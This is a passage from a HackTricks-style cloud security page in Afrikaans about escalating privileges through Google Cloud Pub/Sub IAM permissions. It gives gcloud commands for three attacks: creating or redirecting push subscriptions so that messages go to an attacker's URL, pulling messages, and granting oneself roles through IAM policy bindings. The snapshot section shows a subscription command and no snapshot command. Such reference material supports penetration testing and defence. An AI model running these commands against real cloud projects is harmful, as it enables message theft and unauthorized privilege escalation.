# GCP - Pubsub Privesc

{{#include ../../../banners/hacktricks-training.md}}

## PubSub

Kry meer inligting in:

{{#ref}}
../gcp-services/gcp-pub-sub.md
{{#endref}}

### `pubsub.snapshots.create` (`pubsub.topics.attachSubscription`)

Die snapshots van topics **bevat die huidige unACKed boodskappe en elke boodskap daarna**. Jy kan 'n snapshot van 'n topic skep om **toegang tot al die boodskappe te kry**, **sonder om direk toegang tot die topic te hê**.
```bash
gcloud pubsub subscriptions create <subscription_name> --topic <topic_name> --push-endpoint https://<URL_to_push_to>
```
### **`pubsub.snapshots.setIamPolicy`**

Ken die vorige toestemmings aan jou toe.

### `pubsub.subscriptions.create`

Jy kan 'n push subscription in 'n topic skep wat al die ontvangde boodskappe na die aangeduide URL sal stuur

### **`pubsub.subscriptions.update`**

Stel jou eie URL as push-endpoint in om die boodskappe te steel.

### `pubsub.subscriptions.consume`

Kry toegang tot boodskappe deur die subskripsie te gebruik.
```bash
gcloud pubsub subscriptions pull <SUSCRIPTION> \
--limit=50 \
--format="json" \
--project=<PROJECTID>
```
### `pubsub.subscriptions.setIamPolicy`

Ken jouself enige van die vorige permissions toe.
```bash
# Add Binding
gcloud pubsub subscriptions add-iam-policy-binding <SUSCRIPTION_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Remove Binding
gcloud pubsub subscriptions remove-iam-policy-binding <SUSCRIPTION_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Change Policy
gcloud pubsub subscriptions set-iam-policy <SUSCRIPTION_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
```
{{#include ../../../banners/hacktricks-training.md}}
